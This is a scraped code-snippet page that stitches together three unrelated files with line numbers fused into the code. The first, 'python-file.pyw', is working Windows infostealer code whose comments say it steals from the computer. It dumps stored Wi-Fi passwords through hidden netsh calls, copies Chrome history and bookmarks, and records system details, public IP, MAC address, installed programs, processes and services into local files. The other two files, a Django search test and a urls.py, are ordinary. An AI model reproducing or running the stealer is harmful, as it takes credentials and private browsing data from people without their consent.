Best Python code snippet using localstack_python
python-file.pyw
Source:python-file.pyw  
1import os, sys, platform, datetime2import ctypes, getpass, re, time, wmi3import socket, requests, win32com.client4import win32pdh, string, win32api, subprocess, psutil5from collections import namedtuple6from ctypes import byref, create_unicode_buffer, windll7from ctypes.wintypes import DWORD8from itertools import count9from uuid import getnode as get_mac1011global osName, platformSystem, platformRelease, comUser, comName, win32_proc12global hostNameIP, publicIP, drives, system_info, sys_uname, processor, wifi_pass, mac_add1314UID_BUFFER_SIZE = 3915PROPERTY_BUFFER_SIZE = 25616ERROR_MORE_DATA = 23417ERROR_INVALID_PARAMETER = 8718ERROR_SUCCESS = 019ERROR_NO_MORE_ITEMS = 25920ERROR_UNKNOWN_PRODUCT = 16052122PRODUCT_PROPERTIES = [u'Language', u'ProductName',23                      u'PackageCode', u'Transforms', u'AssignmentType',24                      u'PackageName', u'InstalledProductName', u'VersionString',25                      u'RegCompany', u'RegOwner', u'ProductID',26                      u'ProductIcon', u'InstallLocation',27                      u'InstallSource', u'InstallDate', u'Publisher', u'LocalPackage',28                      u'HelpLink', u'HelpTelephone', u'URLInfoAbout', u'URLUpdateInfo',]2930windows_services = ["NTDS","Alerter","ALG","AppMgmt","BITS","Browser","DoSvc","TrkWks","MSDTC","DNSCache","EventLog","EAPHost","CISVC","UI0Detect","SharedAccess","NLA","NSIS","NTLMSSP","PNRPSvc","PlugPlay","Spooler","RpcSs","RRAS","SecLogon","SamSs","SENS","SysMain","Schedule","LmHosts","VSS","AudioSrv","WERSvc","MpsSvc","SharedAccess","STISvc","W32Time","WUAUServ","WLANSvc","Messenger"]3132class Search_Application:33    def get_property_for_product(product, property, buf_size=PROPERTY_BUFFER_SIZE):34        property_buffer = create_unicode_buffer(buf_size)35        size = DWORD(buf_size)36        result = windll.msi.MsiGetProductInfoW(product, property, property_buffer,byref(size))37        if result == ERROR_MORE_DATA:38            return get_property_for_product(product, property, 2 * buf_size)39        elif result == ERROR_SUCCESS:40            return property_buffer.value41        else:42            return None43    def populate_product(uid):44        properties = []45        for property in PRODUCT_PROPERTIES:46            properties.append(Search_Application.get_property_for_product(uid, property))47        return Product(*properties)48    def get_installed_products_uids():49        products = []50        for i in count(0):51            uid_buffer = create_unicode_buffer(UID_BUFFER_SIZE)52            result = windll.msi.MsiEnumProductsW(i, uid_buffer)53            if result == ERROR_NO_MORE_ITEMS:54                break55            products.append(uid_buffer.value)56        return products57    def get_installed_products():58        products = []59        for puid in Search_Application.get_installed_products_uids():60            products.append(Search_Application.populate_product(puid))61        return products62    def is_product_installed_uid(uid):63        buf_size = 25664        uid_buffer = create_unicode_buffer(uid)65        property = u'VersionString'66        property_buffer = create_unicode_buffer(buf_size)67        size = DWORD(buf_size)68        result = windll.msi.MsiGetProductInfoW(uid_buffer, property, property_buffer, byref(size))69        if result == ERROR_UNKNOWN_PRODUCT:70            return False71        else:72            return True73    74class Search_Resources:75    def get_os_name(term, check):76        if term and check:77            return os.name            78        else:79            return None80    def get_platform_sys(term):81        if term:82            return platform.system()83        else:84            return None85    def get_platform_release(term):86        if not term is False:87            return platform.release()88        else:89            return None90    def get_sys_info(term_check):91        if term_check:92            sysinfo = ((platform.system())+" "+platform.machine()+" "+platform.platform())93            return sysinfo94        else:95            return None96    def get_uname(term):97        if term:98            return platform.uname()99        else:100            return None101    def get_processor_info(term):102        if term:103            return platform.processor()104        else:105            return None106    def get_instance_win32_processor(term):107        if term:108            instance = wmi.WMI()109            for eachinfo in instance.WIN32_Processor():                110                return eachinfo111        else:112            return None113    def get_computer_name(term):114        if term:115            return socket.gethostname()116        else:117            return None118    def get_computer_user(term):119        if not term is False:120            return getpass.getuser()121        else:122            return None123    def get_drives(term_check):124        if term_check:125            return re.findall(r"[A-Z]+:.*$",os.popen("mountvol /").read(),re.MULTILINE)126        else:127            return None128    def get_free_space_mb(dirname):129        if platform.system() == 'Windows':130            free_bytes = ctypes.c_ulonglong(0)131            ctypes.windll.kernel32.GetDiskFreeSpaceExW(ctypes.c_wchar_p(dirname), None, None, ctypes.pointer(free_bytes))132            return free_bytes.value / 1024 / 1024133        else:134            return st.f_bavail * st.f_frsize / 1024 / 1024135    def get_hostname(term):136        if term:137            try:138                return socket.gethostbyname(socket.gethostname())139            except:140                return None141        else:142            return None143    def get_public_IP(term):144        if term:145            try:146                return requests.get("http://ip.42.pl/raw").text147            except:148                return None149        else:150            return None151    def get_mac_address(term):152        if term:153            mac = get_mac()154            return mac155        else:156            return None157    def procids():158        #each instance is a process, you can have multiple processes w/same name159        junk, instances = win32pdh.EnumObjectItems(None,None,'process', win32pdh.PERF_DETAIL_WIZARD)160        proc_ids=[]161        proc_dict={}162        for instance in instances:163            if instance in proc_dict:164                proc_dict[instance] = proc_dict[instance] + 1165            else:166                proc_dict[instance]=0167        for instance, max_instances in proc_dict.items():168            for inum in range(max_instances+1):169                hq = win32pdh.OpenQuery() # initializes the query handle 170                path = win32pdh.MakeCounterPath( (None,'process',instance, None, inum,'ID Process') )171                counter_handle=win32pdh.AddCounter(hq, path) 172                win32pdh.CollectQueryData(hq) #collects data for the counter 173                type, val = win32pdh.GetFormattedCounterValue(counter_handle, win32pdh.PDH_FMT_LONG)174                proc_ids.append((instance,str(val)))175                win32pdh.CloseQuery(hq) 176     177        proc_ids.sort()178        return proc_ids179    def get_stored_wifi_passwords(check):180        CREATE_NO_WINDOW = 0x08000000181        if check:182            data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles'],creationflags=CREATE_NO_WINDOW).decode('utf-8').split('\n')183            profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]184            for i in profiles:185                try:186                    results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear'],creationflags=CREATE_NO_WINDOW).decode('utf-8').split('\n')187                    results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]188                    try:                        189                        stored_wifi_pass.append("{:<30}|  {:<}\n".format(i, results[0]))190                    except:191                        stored_wifi_pass.append("{:<30}|  {:<}\n".format(i, ""))192                except:                    193                    return stored_wifi_pass194195            return stored_wifi_pass196        else:197            return None198    def getService(name):    199        try:200            service = psutil.win_service_get(name)201            service = service.as_dict()202            return service203        except Exception as ex:204            pass205206207drives = []208spaces_in_drives = []209drive_letters = []210installed_applications = []211stored_wifi_pass = []212Product = namedtuple('Product', PRODUCT_PROPERTIES)213214215216#get the important resources first217try:218    osName = Search_Resources.get_os_name(True, True)219    platformSystem = Search_Resources.get_platform_sys(True)220    platformRelease = Search_Resources.get_platform_release(True)221    system_info = Search_Resources.get_sys_info(True)222    sys_uname = Search_Resources.get_uname(True)223    processor = Search_Resources.get_processor_info(True)224    win32_proc = Search_Resources.get_instance_win32_processor(True)225    wifi_pass = Search_Resources.get_stored_wifi_passwords(True)226    comName = Search_Resources.get_computer_name(True)227    comUser = Search_Resources.get_computer_user(True)228    drives = Search_Resources.get_drives(True)229    hostNameIP = Search_Resources.get_hostname(True)230    publicIP = Search_Resources.get_public_IP(True)231    mac_add = Search_Resources.get_mac_address(True)232    for eachDrives in drives:233        spaces_in_drives.append(Search_Resources.get_free_space_mb(eachDrives)/1024)234        drive_letters.append(eachDrives)235except:236    pass237238#if there's no errors of the above code, let's search for some installed programs in a computer239try:240    for app in Search_Application.get_installed_products():241        installed_applications.append(app.InstalledProductName)242except:243    pass244245#compile all gathered resources and steal it from the computer246#if there's no error again of the above code, let's get its Browser History and Bookmarks, and also its Background Processes247if os.path.isdir("Resources"):248    try:249        os.chdir("Resources")250        if not os.path.isdir(comUser):251            os.mkdir(comUser)252        os.chdir(comUser)253        #create a file to append all gathered informations: (this will not affect existing file if there is an existing file already)254        with open("computer-information.info","w") as cominfo:255            cominfo.close()256        with open("installed-applications.info","w") as inapps:257            inapps.close()258        with open("browser-history.info","w") as bhistory:259            bhistory.close()260        with open("browser-bookmarks.info","w") as bbookmark:261            bbookmark.close()262        with open("background-processes.info","w") as bprocesses:263            bprocesses.close()264        with open("windows-services.info","w") as wservice:265            wservice.close()266267        #write all gathered computer info to our .info file268        com_info = open("computer-information.info", "w")269        com_info.write("{}: {}\n".format(comName, str(datetime.datetime.now())))270        com_info.write("========================================================================\n\n")271        com_info.write("Platform Information: {}\n".format(osName+" "+platformSystem+" "+platformRelease))272        com_info.write("System Information: {}\n".format(system_info))273        com_info.write("Platform UNAME: {}\n".format(sys_uname))274        com_info.write("Processor: {}\n".format(processor))275        com_info.write("Instance of Win32 Processor: {}\n".format(win32_proc))276        com_info.write("Computer Name and User: {}, {}\n".format(comName, comUser))277        com_info.write("Detected Drives: {}\n".format(drive_letters))278        com_info.write("Available Spaces for each Drives: {}\n".format(spaces_in_drives))279        com_info.write("Host-IP: {}\n".format(hostNameIP))280        com_info.write("Public-IP: {}\n".format(publicIP))281        com_info.write("Mac Address: {}\n".format(mac_add))282        com_info.write("Wifi-Password: {}\n\n".format(wifi_pass))283        com_info.write("Coded by: ARIEN")284        com_info.close()285286        #write all gathered installed applications to our .info file287        inapps_info = open("installed-applications.info","w")288        for eachApps in installed_applications:289            inapps_info.write("{}+\n".format(eachApps))290        inapps_info.close()291292        try:293            if platformSystem == "Windows":294                #now steal first browser's history and bookmarks295                with open(r"C:\Users\%s\AppData\Local\Google\Chrome\User Data\Default\History"%comUser,"rb") as his_file:296                    history_data = his_file.read()297                his_file.close()298                with open(r"C:\Users\%s\AppData\Local\Google\Chrome\User Data\Default\Bookmarks"%comUser,"rb") as bm_file:299                    bookmark_data = bm_file.read()300                bm_file.close()301                302                #write the stolen browser's history and bookmarks303                bhistory_info = open("browser-history.info","wb")304                bhistory_info.write(history_data)305                bhistory_info.close()306                bbookmark_info = open("browser-bookmarks.info","wb")307                bbookmark_info.write(bookmark_data)308                bbookmark_info.close()309            else:310                print("Cannot get Browser's history and bookmarks, maybe because it's a Linux Platform or Mac")311        except:312            print("Cannot get some files")313314        #now let's get all current background processes.315        bproc_info = open("background-processes.info","w")316        bproc_info.write("{}: {}\n==============================================================\n".format(comName, str(datetime.datetime.now())))317        for eachProcesses in Search_Resources.procids():    318            bproc_info.write("Name: %s\tPID: %s\n" % (eachProcesses[0], eachProcesses[1]))319        bproc_info.close()320321        #get windows services322        wservice_info = open("windows-services.info","w")323        wservice_info.write("{}: {}\n==============================================================\n".format(comName, str(datetime.datetime.now())))324        for eachService in windows_services:325            service = Search_Resources.getService(eachService)326            if service:327                wservice_info.write("Service Found\n")328                wservice_info.write("Service Name: %s\n"%service['name'])329                wservice_info.write("\tUsername: %s\n"%service['username'])330                wservice_info.write("\tStart Type: %s\n"%service['start_type'])331                wservice_info.write("\tStatus: %s\n"%service['status'])332                wservice_info.write("\tDescription: %s\n"%service['description'])333            else:334                wservice_info.write("Service not found\n")335        wservice_info.close()336    except:337        pass338339else:340    time.sleep(2)341    print("[x]  ---  Resources folder is missing..")342    time.sleep(2)343    print("[x]  ---  Missing one required directory...")344    print("Failed to collect informations ... ")345    time.sleep(2)
...test_search.py
Source:test_search.py  
...8class TestSearch(TestCase):9    def test_anonymous_search_on_resources_public_data(self):10        ResourceFactory.create(title="MyTitle", state="public")11        self.assertEqual(12            search_resources(AnonymousUser(), "MyTitle")["queryset"].count(), 113        )14        self.assertEqual(15            search_resources(AnonymousUser(), "OtherTitle")["queryset"].count(), 016        )17    def test_anonymous_search_on_resources_private_data(self):18        ResourceFactory.create(title="MyTitle", state="private")19        self.assertEqual(20            search_resources(AnonymousUser(), "MyTitle")["queryset"].count(), 021        )22        self.assertEqual(23            search_resources(AnonymousUser(), "OtherTitle")["queryset"].count(), 024        )25    @authenticate26    def test_search_on_resources_public_data(self):27        ResourceFactory.create(title="MyTitle", state="public")28        self.assertEqual(29            search_resources(authenticate.user, "MyTitle")["queryset"].count(), 130        )31        self.assertEqual(32            search_resources(authenticate.user, "OtherTitle")["queryset"].count(), 033        )34    @authenticate35    def test_search_on_resources_own_private_data(self):36        ResourceFactory.create(37            title="MyTitle", state="private", creator=authenticate.user38        )39        self.assertEqual(40            search_resources(authenticate.user, "MyTitle")["queryset"].count(), 141        )42        self.assertEqual(43            search_resources(authenticate.user, "OtherTitle")["queryset"].count(), 044        )45    @authenticate46    def test_search_on_resources_others_private_data(self):47        ResourceFactory.create(title="MyTitle", state="private")48        self.assertEqual(49            search_resources(authenticate.user, "MyTitle")["queryset"].count(), 050        )51        self.assertEqual(52            search_resources(authenticate.user, "OtherTitle")["queryset"].count(), 053        )54    def test_anonymous_search_on_bases_public_data(self):55        BaseFactory.create(title="MyTitle", state="public")56        self.assertEqual(57            search_bases(AnonymousUser(), "MyTitle")["queryset"].count(), 158        )59        self.assertEqual(60            search_bases(AnonymousUser(), "OtherTitle")["queryset"].count(), 061        )62    def test_anonymous_search_on_bases_private_data(self):63        BaseFactory.create(title="MyTitle", state="private")64        self.assertEqual(65            search_bases(AnonymousUser(), "MyTitle")["queryset"].count(), 066        )67        self.assertEqual(68            search_bases(AnonymousUser(), "OtherTitle")["queryset"].count(), 069        )70    @authenticate71    def test_search_on_bases_public_data(self):72        BaseFactory.create(title="MyTitle", state="public")73        self.assertEqual(74            search_bases(authenticate.user, "MyTitle")["queryset"].count(), 175        )76        self.assertEqual(77            search_bases(authenticate.user, "OtherTitle")["queryset"].count(), 078        )79    @authenticate80    def test_search_on_bases_own_private_data(self):81        BaseFactory.create(title="MyTitle", state="private", owner=authenticate.user)82        self.assertEqual(83            search_bases(authenticate.user, "MyTitle")["queryset"].count(), 184        )85        self.assertEqual(86            search_bases(authenticate.user, "OtherTitle")["queryset"].count(), 087        )88    @authenticate89    def test_search_on_bases_others_private_data(self):90        BaseFactory.create(title="MyTitle", state="private")91        self.assertEqual(92            search_bases(authenticate.user, "MyTitle")["queryset"].count(), 093        )94        self.assertEqual(95            search_bases(authenticate.user, "OtherTitle")["queryset"].count(), 096        )97    def test_search_on_resources_multiple_fields(self):98        ResourceFactory.create(title="MyTitle", description="my description")99        self.assertEqual(100            search_resources(authenticate.user, "description")["queryset"].count(), 1101        )102        self.assertEqual(103            search_resources(authenticate.user, "MyTitle")["queryset"].count(), 1104        )105    def test_search_ignores_case(self):106        ResourceFactory.create(title="MyTitle", state="public")107        self.assertEqual(108            search_resources(AnonymousUser(), "MyTitle")["queryset"].count(), 1109        )110        self.assertEqual(111            search_resources(AnonymousUser(), "mytitle")["queryset"].count(), 1112        )113    def test_possible_tags(self):114        tag = TagFactory.create()115        resource = ResourceFactory.create(title="MyTitle", state="public")116        self.assertListEqual(117            list(search_resources(AnonymousUser(), "MyTitle")["possible_tags"]), []118        )119        resource.tags.add(tag)120        self.assertListEqual(121            list(search_resources(AnonymousUser(), "MyTitle")["possible_tags"]),122            [tag.pk],123        )124class TestSearchView(TestCase):125    @classmethod126    def setUpTestData(cls):127        cls.url = reverse("search-list")128    def test_search_view(self):129        tag = TagFactory.create()130        resource = ResourceFactory.create(title="MyTitle", state="public")131        res = self.client.post(132            self.url,133            {"data_type": "resources", "text": "MyTitle"},134            content_type="application/json",135        )...urls.py
Source:urls.py  
1from django.urls import path2from .views import (3    home,4    view_resources,5    update_resource,6    delete_resource,7    resources_pdf,8    search_resources,9    single_resource_pdf,10)11app_name = "journalAppD"12urlpatterns = [13    path('', view_resources),14    path('resource', update_resource, name="create_resource"),15    path('resource/<int:resource_id>/', update_resource, name="update_resource"),16    path('resources', view_resources, name="view-resources"),17    path('delete_resource/<int:resource_id>/',delete_resource, name="delete_resource"),18    path('resources_pdf', resources_pdf, name="resources_pdf"),19    path('single_resource_pdf<int:resource_id>/', single_resource_pdf, name="single_resource_pdf"),20    path('search_resources', search_resources, name="search_resources"),...Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!
